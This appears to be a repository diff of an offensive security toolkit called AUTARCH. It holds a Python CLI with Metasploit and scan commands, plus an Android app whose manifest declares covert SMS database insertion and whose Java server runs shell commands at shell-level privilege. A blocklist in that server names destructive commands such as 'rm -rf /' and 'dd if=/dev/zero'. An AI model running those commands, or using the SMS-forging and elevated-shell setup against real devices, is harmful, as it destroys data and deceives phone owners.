from core.upnp import get_upnp_manager
upnp = get_upnp_manager()
results = upnp.refresh_all()
for r in results:
status = "OK" if r['success'] else "FAIL"
print(f" {r['port']}/{r['protocol']}: {status}")
sys.exit(0)
# Handle list modules
if args.list:
list_modules()
sys.exit(0)
if args.list_category:
list_modules(args.list_category)
sys.exit(0)
# Handle direct module execution
if args.module:
run_module(args.module, args.quiet)
sys.exit(0)
# Handle quick commands
if args.command:
if not args.no_banner:
clear_screen()
display_banner()
if args.command == 'chat':
run_module('chat', args.quiet)
elif args.command == 'agent':
run_module('agent', args.quiet)
elif args.command == 'osint':
if args.target:
quick_osint(args.target)
else:
print(f"{Colors.RED}Usage: autarch osint <username>{Colors.RESET}")
elif args.command == 'scan':
if args.target:
quick_scan(args.target)
else:
print(f"{Colors.RED}Usage: autarch scan <target>{Colors.RESET}")
elif args.command == 'analyze':
if args.target:
run_module('analyze', args.quiet)
else:
run_module('analyze', args.quiet)
sys.exit(0)
# Default: run interactive menu
try:
# Display banner first
if not args.no_banner:
clear_screen()
display_banner()
# Check for first run and execute setup
check_first_run()
# Metasploit autoconnect
msf_autoconnect(
skip=args.no_msf,
username=args.msf_user,
password=args.msf_pass,
use_sudo=not args.msf_no_sudo
)
# Apply CLI display flags to config for this session
from core.config import get_config
cfg = get_config()
if args.verbose:
cfg.set('autarch', 'verbose', 'true')
if args.quiet:
cfg.set('autarch', 'quiet', 'true')
if args.no_banner:
cfg.set('autarch', 'no_banner', 'true')
# Start the main menu
from core.menu import MainMenu
menu = MainMenu()
menu.run()
except KeyboardInterrupt:
print(f"\n\n{Colors.CYAN}Exiting AUTARCH...{Colors.RESET}")
sys.exit(0)
except Exception as e:
print(f"\n{Colors.RED}Fatal error: {e}{Colors.RESET}")
if '--verbose' in sys.argv:
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,65 @@
plugins {
id("com.android.application")
}
android {
namespace = "com.darkhal.archon"
compileSdk = 36
defaultConfig {
applicationId = "com.darkhal.archon"
minSdk = 26
targetSdk = 36
versionCode = 2
versionName = "2.0.0"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_21
targetCompatibility = JavaVersion.VERSION_21
}
kotlin {
jvmToolchain(21)
}
buildFeatures {
viewBinding = true
}
packaging {
jniLibs {
useLegacyPackaging = false
}
}
}
dependencies {
implementation("androidx.core:core-ktx:1.12.0")
implementation("androidx.appcompat:appcompat:1.6.1")
implementation("com.google.android.material:material:1.11.0")
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
implementation("androidx.navigation:navigation-fragment-ktx:2.7.7")
implementation("androidx.navigation:navigation-ui-ktx:2.7.7")
implementation("androidx.preference:preference-ktx:1.2.1")
implementation("androidx.webkit:webkit:1.10.0")
// Local ADB client (wireless debugging pairing + shell)
implementation("com.github.MuntashirAkon:libadb-android:3.1.1")
implementation("org.conscrypt:conscrypt-android:2.5.3")
// Shizuku for elevated access (SMS/RCS operations)
implementation("dev.rikka.shizuku:api:13.1.5")
implementation("dev.rikka.shizuku:provider:13.1.5")
}

View File

@@ -0,0 +1,142 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!-- Wi-Fi Direct -->
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES"
android:usesPermissionFlags="neverForLocation"
android:minSdkVersion="33" />
<!-- Notifications (Android 13+) -->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<!-- SMS manipulation (covert database insert, not actual sending) -->
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<!-- Bluetooth discovery -->
<uses-permission android:name="android.permission.BLUETOOTH" android:maxSdkVersion="30" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:maxSdkVersion="30" />
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"
android:usesPermissionFlags="neverForLocation"
android:minSdkVersion="31" />
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT" android:minSdkVersion="31" />
<!-- Optional hardware features -->
<uses-feature android:name="android.hardware.bluetooth" android:required="false" />
<uses-feature android:name="android.hardware.wifi.direct" android:required="false" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_archon"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.Archon"
android:usesCleartextTraffic="true">
<!-- Shizuku provider for elevated access -->
<provider
android:name="rikka.shizuku.ShizukuProvider"
android:authorities="${applicationId}.shizuku"
android:multiprocess="false"
android:enabled="true"
android:exported="true"
android:permission="android.permission.INTERACT_ACROSS_USERS_FULL" />
<meta-data
android:name="moe.shizuku.client.V3_PROVIDER_AUTHORITIES"
android:value="${applicationId}.shizuku" />
<activity
android:name=".LoginActivity"
android:exported="true"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".MainActivity"
android:exported="false"
android:screenOrientation="portrait" />
<receiver
android:name=".service.PairingReceiver"
android:exported="false">
<intent-filter>
<action android:name="com.darkhal.archon.ACTION_PAIR" />
</intent-filter>
</receiver>
<!-- SMS Worker: handles covert SMS insert/update from ADB broadcasts -->
<receiver
android:name=".service.SmsWorker"
android:exported="true">
<intent-filter>
<action android:name="com.darkhal.archon.SMS_INSERT" />
<action android:name="com.darkhal.archon.SMS_UPDATE" />
</intent-filter>
</receiver>
<!-- SMS Role stubs (required for cmd role add-role-holder) -->
<receiver
android:name=".service.SmsDeliverReceiver"
android:exported="true"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_DELIVER" />
</intent-filter>
</receiver>
<receiver
android:name=".service.MmsDeliverReceiver"
android:exported="true"
android:permission="android.permission.BROADCAST_WAP_PUSH">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
<data android:mimeType="application/vnd.wap.mms-message" />
</intent-filter>
</receiver>
<service
android:name=".service.RespondViaMessageService"
android:exported="true"
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
<intent-filter>
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
<data android:scheme="sms" />
<data android:scheme="smsto" />
<data android:scheme="mms" />
<data android:scheme="mmsto" />
</intent-filter>
</service>
<activity
android:name=".service.SmsComposeActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<action android:name="android.intent.action.SENDTO" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="sms" />
<data android:scheme="smsto" />
<data android:scheme="mms" />
<data android:scheme="mmsto" />
</intent-filter>
</activity>
</application>
</manifest>

View File

@@ -0,0 +1,54 @@
#!/system/bin/sh
# arish — Archon Remote Interactive Shell
# Like Shizuku's "rish" but for the Archon privileged server.
#
# This script finds the Archon APK and launches ArchonRish via app_process,
# which connects to the running ArchonServer and provides an interactive
# shell at UID 2000 (shell-level privileges).
#
# Installation:
# adb push arish /data/local/tmp/arish
# adb shell chmod 755 /data/local/tmp/arish
#
# Usage:
# /data/local/tmp/arish — interactive shell
# /data/local/tmp/arish ls -la /data — single command
# /data/local/tmp/arish -t <token> — specify auth token
# /data/local/tmp/arish -p <port> — specify server port
PACKAGE="com.darkhal.archon"
# Find the APK path
APK_PATH=""
# Method 1: pm path (works if pm is available)
if command -v pm >/dev/null 2>&1; then
APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://')
fi
# Method 2: Known install locations
if [ -z "$APK_PATH" ]; then
for dir in /data/app/*"$PACKAGE"*; do
if [ -f "$dir/base.apk" ]; then
APK_PATH="$dir/base.apk"
break
fi
done
fi
# Method 3: Check /data/local/tmp for sideloaded APK
if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then
APK_PATH="/data/local/tmp/archon.apk"
fi
if [ -z "$APK_PATH" ]; then
echo "arish: cannot find Archon APK ($PACKAGE)"
echo "arish: install the Archon app or place archon.apk in /data/local/tmp/"
exit 1
fi
# Launch ArchonRish via app_process
export CLASSPATH="$APK_PATH"
exec /system/bin/app_process /system/bin \
--nice-name=arish \
com.darkhal.archon.server.ArchonRish "$@"

View File

@@ -0,0 +1,28 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>Autarch BBS</title>
<link rel="stylesheet" href="terminal.css">
</head>
<body>
<div id="terminal">
<div id="header">
<pre id="banner">
╔══════════════════════════════════════╗
║ AUTARCH BBS v1.0 ║
║ Secured by Veilid Protocol ║
╚══════════════════════════════════════╝
</pre>
</div>
<div id="output"></div>
<div id="input-line">
<span class="prompt">&gt;</span>
<input type="text" id="cmd-input" autocomplete="off" autocorrect="off"
autocapitalize="off" spellcheck="false" autofocus>
</div>
</div>
<script src="veilid-bridge.js"></script>
</body>
</html>

View File

@@ -0,0 +1,128 @@
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #000000;
color: #00FF41;
font-family: 'Source Code Pro', 'Courier New', monospace;
font-size: 14px;
line-height: 1.4;
overflow: hidden;
height: 100vh;
width: 100vw;
}
#terminal {
display: flex;
flex-direction: column;
height: 100vh;
padding: 8px;
}
#header {
flex-shrink: 0;
margin-bottom: 8px;
}
#banner {
color: #00FF41;
font-size: 12px;
line-height: 1.2;
text-align: center;
}
#output {
flex: 1;
overflow-y: auto;
padding-bottom: 8px;
word-wrap: break-word;
}
#output .line {
margin-bottom: 2px;
}
#output .system {
color: #888888;
}
#output .error {
color: #FF4444;
}
#output .info {
color: #00AAFF;
}
#output .success {
color: #00FF41;
}
#input-line {
display: flex;
align-items: center;
flex-shrink: 0;
border-top: 1px solid #333333;
padding-top: 8px;
}
.prompt {
color: #00FF41;
margin-right: 8px;
font-weight: bold;
}
#cmd-input {
flex: 1;
background: transparent;
border: none;
outline: none;
color: #00FF41;
font-family: 'Source Code Pro', 'Courier New', monospace;
font-size: 14px;
caret-color: #00FF41;
}
/* Blinking cursor effect */
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
#cmd-input:focus {
animation: none;
}
/* Scrollbar */
#output::-webkit-scrollbar {
width: 4px;
}
#output::-webkit-scrollbar-track {
background: #111111;
}
#output::-webkit-scrollbar-thumb {
background: #333333;
border-radius: 2px;
}
#output::-webkit-scrollbar-thumb:hover {
background: #00FF41;
}
/* Loading animation */
.loading::after {
content: '';
animation: dots 1.5s steps(3, end) infinite;
}
@keyframes dots {
0% { content: ''; }
33% { content: '.'; }
66% { content: '..'; }
100% { content: '...'; }
}

View File

@@ -0,0 +1,225 @@
/**
* Autarch BBS — Veilid Bridge
*
* Handles the BBS terminal interface and will integrate with
* veilid-wasm when the BBS server is deployed on the VPS.
*
* Native Android bridge: window.ArchonBridge
*/
const output = document.getElementById('output');
const cmdInput = document.getElementById('cmd-input');
// Terminal output helpers
function writeLine(text, className) {
const div = document.createElement('div');
div.className = 'line' + (className ? ' ' + className : '');
div.textContent = text;
output.appendChild(div);
output.scrollTop = output.scrollHeight;
}
function writeSystem(text) { writeLine(text, 'system'); }
function writeError(text) { writeLine(text, 'error'); }
function writeInfo(text) { writeLine(text, 'info'); }
function writeSuccess(text) { writeLine(text, 'success'); }
/**
* VeilidBBS — placeholder for Veilid WASM integration.
*
* When the BBS server is deployed, this class will:
* 1. Load veilid-wasm from bundled assets
* 2. Initialize a Veilid routing context
* 3. Connect to the BBS server via DHT key
* 4. Send/receive messages through the Veilid network
*/
class VeilidBBS {
constructor() {
this.connected = false;
this.serverAddress = '';
}
async initialize() {
// Get config from native bridge
if (window.ArchonBridge) {
this.serverAddress = window.ArchonBridge.getServerAddress();
const configJson = window.ArchonBridge.getVeilidConfig();
this.config = JSON.parse(configJson);
this.log('Veilid config loaded');
}
}
async connect() {
if (!this.serverAddress) {
writeError('No BBS server address configured.');
writeSystem('Set the Veilid BBS address in Settings.');
return false;
}
writeSystem('Connecting to Autarch BBS...');
writeSystem('Server: ' + this.serverAddress);
// Placeholder — actual Veilid connection will go here
// Steps when implemented:
// 1. await veilid.veilidCoreStartupJSON(config)
// 2. await veilid.veilidCoreAttach()
// 3. Create routing context
// 4. Open route to BBS server DHT key
// 5. Send/receive via app_message / app_call
writeError('Veilid WASM not yet loaded.');
writeSystem('BBS server deployment pending.');
writeSystem('');
writeInfo('The Autarch BBS will be available once the');
writeInfo('VPS server is configured and the Veilid');
writeInfo('WASM module is bundled into this app.');
writeSystem('');
return false;
}
async sendMessage(msg) {
if (!this.connected) {
writeError('Not connected to BBS.');
return;
}
// Placeholder for sending messages via Veilid
this.log('Send: ' + msg);
}
async disconnect() {
this.connected = false;
writeSystem('Disconnected from BBS.');
}
log(msg) {
if (window.ArchonBridge) {
window.ArchonBridge.log(msg);
}
console.log('[VeilidBBS] ' + msg);
}
}
// Command handler
const bbs = new VeilidBBS();
const commandHistory = [];
let historyIndex = -1;
const commands = {
help: function() {
writeInfo('Available commands:');
writeLine(' help — Show this help');
writeLine(' connect — Connect to Autarch BBS');
writeLine(' disconnect — Disconnect from BBS');
writeLine(' status — Show connection status');
writeLine(' clear — Clear terminal');
writeLine(' about — About Autarch BBS');
writeLine(' version — Show version info');
},
connect: async function() {
await bbs.connect();
},
disconnect: async function() {
await bbs.disconnect();
},
status: function() {
writeInfo('Connection Status:');
writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO'));
writeLine(' Server: ' + (bbs.serverAddress || 'not configured'));
if (window.ArchonBridge) {
writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl());
}
},
clear: function() {
output.innerHTML = '';
},
about: function() {
writeInfo('╔════════════════════════════════════╗');
writeInfo('║ AUTARCH BBS ║');
writeInfo('╠════════════════════════════════════╣');
writeLine('║ A decentralized bulletin board ║');
writeLine('║ system secured by the Veilid ║');
writeLine('║ protocol. All communications are ║');
writeLine('║ end-to-end encrypted and routed ║');
writeLine('║ through an onion-style network. ║');
writeInfo('╚════════════════════════════════════╝');
},
version: function() {
let ver = '1.0.0';
if (window.ArchonBridge) {
ver = window.ArchonBridge.getAppVersion();
}
writeLine('Archon v' + ver);
writeLine('Veilid WASM: not loaded (pending deployment)');
}
};
function processCommand(input) {
const trimmed = input.trim();
if (!trimmed) return;
writeLine('> ' + trimmed);
commandHistory.push(trimmed);
historyIndex = commandHistory.length;
const parts = trimmed.split(/\s+/);
const cmd = parts[0].toLowerCase();
if (commands[cmd]) {
commands[cmd](parts.slice(1));
} else if (bbs.connected) {
// If connected, send as BBS message
bbs.sendMessage(trimmed);
} else {
writeError('Unknown command: ' + cmd);
writeSystem('Type "help" for available commands.');
}
}
// Input handling
cmdInput.addEventListener('keydown', function(e) {
if (e.key === 'Enter') {
processCommand(this.value);
this.value = '';
} else if (e.key === 'ArrowUp') {
e.preventDefault();
if (historyIndex > 0) {
historyIndex--;
this.value = commandHistory[historyIndex];
}
} else if (e.key === 'ArrowDown') {
e.preventDefault();
if (historyIndex < commandHistory.length - 1) {
historyIndex++;
this.value = commandHistory[historyIndex];
} else {
historyIndex = commandHistory.length;
this.value = '';
}
}
});
// Keep input focused
document.addEventListener('click', function() {
cmdInput.focus();
});
// Startup
(async function() {
writeSuccess('AUTARCH BBS Terminal v1.0');
writeSystem('Initializing...');
writeSystem('');
await bbs.initialize();
writeSystem('Type "help" for commands.');
writeSystem('Type "connect" to connect to the BBS.');
writeSystem('');
cmdInput.focus();
})();

View File

@@ -0,0 +1,311 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
/**
* Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon.
*
* Connects to the running ArchonServer on localhost and provides an interactive
* shell at UID 2000 (shell privileges). This gives terminal users the same
* elevated access that the Archon app modules use internally.
*
* Usage (from adb shell or terminal emulator):
* arish — interactive shell
* arish <command> — execute single command
* arish -t <token> — specify auth token
* arish -p <port> — specify server port
* echo "pm list packages" | arish — pipe commands
*
* The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process.
*
* Bootstrap:
* CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \
* --nice-name=arish com.darkhal.archon.server.ArchonRish [args...]
*/
public class ArchonRish {
private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token";
private static final int DEFAULT_PORT = 17321;
private static final int CONNECT_TIMEOUT = 3000;
private static final int READ_TIMEOUT = 30000;
public static void main(String[] args) {
String token = null;
int port = DEFAULT_PORT;
String singleCmd = null;
boolean showHelp = false;
// Parse arguments
int i = 0;
while (i < args.length) {
switch (args[i]) {
case "-t":
case "--token":
if (i + 1 < args.length) {
token = args[++i];
}
break;
case "-p":
case "--port":
if (i + 1 < args.length) {
port = Integer.parseInt(args[++i]);
}
break;
case "-h":
case "--help":
showHelp = true;
break;
default:
// Everything else is a command to execute
StringBuilder sb = new StringBuilder();
for (int j = i; j < args.length; j++) {
if (j > i) sb.append(' ');
sb.append(args[j]);
}
singleCmd = sb.toString();
i = args.length; // break outer loop
break;
}
i++;
}
if (showHelp) {
printHelp();
return;
}
// Try to read token from file if not provided
if (token == null) {
token = readTokenFile();
}
if (token == null) {
System.err.println("arish: no auth token. Use -t <token> or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE);
System.exit(1);
}
// Check if stdin is a pipe (non-interactive)
boolean isPiped = false;
try {
isPiped = System.in.available() > 0 || singleCmd != null;
} catch (Exception e) {
// Assume interactive
}
if (singleCmd != null) {
// Single command mode
int exitCode = executeRemote(token, port, singleCmd);
System.exit(exitCode);
} else if (isPiped) {
// Pipe mode — read commands from stdin
runPiped(token, port);
} else {
// Interactive mode
runInteractive(token, port);
}
}
private static void runInteractive(String token, int port) {
System.out.println("arish — Archon Remote Interactive Shell (UID 2000)");
System.out.println("Connected to ArchonServer on localhost:" + port);
System.out.println("Type 'exit' to quit.\n");
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
while (true) {
System.out.print("arish$ ");
System.out.flush();
String line;
try {
line = stdin.readLine();
} catch (Exception e) {
break;
}
if (line == null) break; // EOF
line = line.trim();
if (line.isEmpty()) continue;
if (line.equals("exit") || line.equals("quit")) break;
executeRemote(token, port, line);
}
System.out.println("\narish: disconnected");
}
private static void runPiped(String token, int port) {
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
int lastExit = 0;
try {
String line;
while ((line = stdin.readLine()) != null) {
line = line.trim();
if (line.isEmpty() || line.startsWith("#")) continue;
lastExit = executeRemote(token, port, line);
}
} catch (Exception e) {
System.err.println("arish: read error: " + e.getMessage());
}
System.exit(lastExit);
}
private static int executeRemote(String token, int port, String command) {
try {
InetAddress loopback = InetAddress.getByName("127.0.0.1");
Socket sock = new Socket();
sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT);
sock.setSoTimeout(READ_TIMEOUT);
PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true);
BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
// Send command as JSON
String json = "{\"token\":\"" + escapeJson(token) + "\","
+ "\"cmd\":\"" + escapeJson(command) + "\","
+ "\"timeout\":30}";
writer.println(json);
writer.flush();
// Read response
String response = reader.readLine();
sock.close();
if (response == null) {
System.err.println("arish: no response from server");
return -1;
}
// Parse JSON response (minimal hand-parsing, same as ArchonServer pattern)
String stdout = extractJsonString(response, "stdout");
String stderr = extractJsonString(response, "stderr");
int exitCode = extractJsonInt(response, "exit_code", -1);
if (stdout != null && !stdout.isEmpty()) {
System.out.print(stdout);
if (!stdout.endsWith("\n")) System.out.println();
}
if (stderr != null && !stderr.isEmpty()) {
System.err.print(stderr);
if (!stderr.endsWith("\n")) System.err.println();
}
return exitCode;
} catch (java.net.ConnectException e) {
System.err.println("arish: cannot connect to ArchonServer on localhost:" + port);
System.err.println("arish: is the server running? Check Setup tab in Archon app.");
return -1;
} catch (Exception e) {
System.err.println("arish: error: " + e.getMessage());
return -1;
}
}
// ── JSON Helpers (hand-rolled, no library dependencies) ──────
private static String escapeJson(String s) {
if (s == null) return "";
StringBuilder sb = new StringBuilder();
for (int j = 0; j < s.length(); j++) {
char c = s.charAt(j);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default: sb.append(c); break;
}
}
return sb.toString();
}
private static String extractJsonString(String json, String key) {
String searchKey = "\"" + key + "\":\"";
int start = json.indexOf(searchKey);
if (start < 0) return "";
start += searchKey.length();
StringBuilder sb = new StringBuilder();
boolean escape = false;
for (int j = start; j < json.length(); j++) {
char c = json.charAt(j);
if (escape) {
switch (c) {
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
default: sb.append(c); break;
}
escape = false;
} else if (c == '\\') {
escape = true;
} else if (c == '"') {
break;
} else {
sb.append(c);
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultValue) {
// Try "key":N pattern
String searchKey = "\"" + key + "\":";
int start = json.indexOf(searchKey);
if (start < 0) return defaultValue;
start += searchKey.length();
StringBuilder sb = new StringBuilder();
for (int j = start; j < json.length(); j++) {
char c = json.charAt(j);
if (c == '-' || (c >= '0' && c <= '9')) {
sb.append(c);
} else {
break;
}
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultValue;
}
}
private static String readTokenFile() {
try {
java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE);
if (!f.exists()) return null;
BufferedReader br = new BufferedReader(new java.io.FileReader(f));
String token = br.readLine();
br.close();
if (token != null) token = token.trim();
return (token != null && !token.isEmpty()) ? token : null;
} catch (Exception e) {
return null;
}
}
private static void printHelp() {
System.out.println("arish — Archon Remote Interactive Shell");
System.out.println();
System.out.println("Usage:");
System.out.println(" arish Interactive shell (UID 2000)");
System.out.println(" arish <command> Execute single command");
System.out.println(" arish -t <token> Specify auth token");
System.out.println(" arish -p <port> Specify server port (default: 17321)");
System.out.println(" echo \"cmd\" | arish Pipe commands");
System.out.println();
System.out.println("The ArchonServer must be running (start from the Archon app Setup tab).");
System.out.println("Commands execute at UID 2000 (shell) — same as adb shell.");
System.out.println();
System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified.");
System.out.println("The Archon app writes this file when the server starts.");
}
}

View File

@@ -0,0 +1,380 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Archon Privileged Server — runs via app_process at shell (UID 2000) level.
*
* Started via ADB:
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
* --nice-name=archon_server com.darkhal.archon.server.ArchonServer <token> <port>
*
* Listens on localhost:<port> for JSON commands authenticated with a token.
* Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC.
*
* Protocol (JSON over TCP, newline-delimited):
* Request: {"token":"xxx","cmd":"pm list packages","timeout":30}
* Response: {"stdout":"...","stderr":"...","exit_code":0}
*
* Special commands:
* {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0}
* {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully
* {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0}
*/
public class ArchonServer {
private static final String TAG = "ArchonServer";
private static final String LOG_FILE = "/data/local/tmp/archon_server.log";
private static final int DEFAULT_TIMEOUT = 30;
private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking)
// Safety blocklist — commands that could brick the device
private static final String[] BLOCKED_PATTERNS = {
"rm -rf /",
"rm -rf /*",
"mkfs",
"dd if=/dev/zero",
"reboot",
"shutdown",
"init 0",
"init 6",
"flash_image",
"erase_image",
"format_data",
"> /dev/block",
};
private static String authToken;
private static int listenPort;
private static final AtomicBoolean running = new AtomicBoolean(true);
private static ExecutorService executor;
private static long startTime;
public static void main(String[] args) {
if (args.length < 2) {
System.err.println("Usage: ArchonServer <token> <port>");
System.exit(1);
}
authToken = args[0];
listenPort = Integer.parseInt(args[1]);
startTime = System.currentTimeMillis();
log("Starting Archon Server on port " + listenPort);
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
// Handle SIGTERM for graceful shutdown
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log("Shutdown hook triggered");
running.set(false);
if (executor != null) {
executor.shutdownNow();
}
}));
executor = Executors.newCachedThreadPool();
try {
// Bind to localhost only — not accessible from network
InetAddress loopback = InetAddress.getByName("127.0.0.1");
ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback);
log("Listening on 127.0.0.1:" + listenPort);
while (running.get()) {
try {
Socket client = serverSocket.accept();
client.setSoTimeout(60000); // 60s read timeout per connection
executor.submit(() -> handleClient(client));
} catch (SocketTimeoutException e) {
// Expected, loop continues
} catch (IOException e) {
if (running.get()) {
log("Accept error: " + e.getMessage());
}
}
}
serverSocket.close();
} catch (IOException e) {
log("Fatal: " + e.getMessage());
System.exit(2);
}
log("Server stopped");
if (executor != null) {
executor.shutdown();
try {
executor.awaitTermination(5, TimeUnit.SECONDS);
} catch (InterruptedException ignored) {}
}
System.exit(0);
}
private static void handleClient(Socket client) {
String clientAddr = client.getRemoteSocketAddress().toString();
log("Client connected: " + clientAddr);
try (
BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true)
) {
String line;
while ((line = reader.readLine()) != null) {
String response = processRequest(line);
writer.println(response);
writer.flush();
// Check if we should shut down after this request
if (!running.get()) {
break;
}
}
} catch (IOException e) {
log("Client error: " + e.getMessage());
} finally {
try { client.close(); } catch (IOException ignored) {}
log("Client disconnected: " + clientAddr);
}
}
private static String processRequest(String json) {
// Simple JSON parsing without dependencies
String token = extractJsonString(json, "token");
String cmd = extractJsonString(json, "cmd");
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
// No-auth alive check — allows any client to verify server is running
if ("__alive__".equals(cmd)) {
return jsonResponse("alive", "", 0);
}
// Verify auth token
if (token == null || !token.equals(authToken)) {
log("Auth failed from request");
return jsonResponse("", "Authentication failed", -1);
}
if (cmd == null || cmd.isEmpty()) {
return jsonResponse("", "No command specified", -1);
}
// Handle special commands
switch (cmd) {
case "__ping__":
return jsonResponse("pong", "", 0);
case "__shutdown__":
log("Shutdown requested");
running.set(false);
return jsonResponse("Server shutting down", "", 0);
case "__info__":
long uptime = (System.currentTimeMillis() - startTime) / 1000;
String info = "uid=" + android.os.Process.myUid() +
" pid=" + android.os.Process.myPid() +
" uptime=" + uptime + "s";
return jsonResponse(info, "", 0);
}
// Safety check
if (isBlocked(cmd)) {
log("BLOCKED dangerous command: " + cmd);
return jsonResponse("", "Command blocked by safety filter", -1);
}
// Execute the command
return executeCommand(cmd, timeout);
}
private static boolean isBlocked(String cmd) {
String lower = cmd.toLowerCase(Locale.ROOT).trim();
for (String pattern : BLOCKED_PATTERNS) {
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
return true;
}
}
return false;
}
private static String executeCommand(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(false);
Process process = pb.start();
// Read stdout and stderr in parallel to avoid deadlocks
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
Thread stdoutThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stdout.length() > 0) stdout.append("\n");
stdout.append(line);
}
} catch (IOException ignored) {}
});
Thread stderrThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stderr.length() > 0) stderr.append("\n");
stderr.append(line);
}
} catch (IOException ignored) {}
});
stdoutThread.start();
stderrThread.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
stdoutThread.join(1000);
stderrThread.join(1000);
return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
}
stdoutThread.join(5000);
stderrThread.join(5000);
return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue());
} catch (Exception e) {
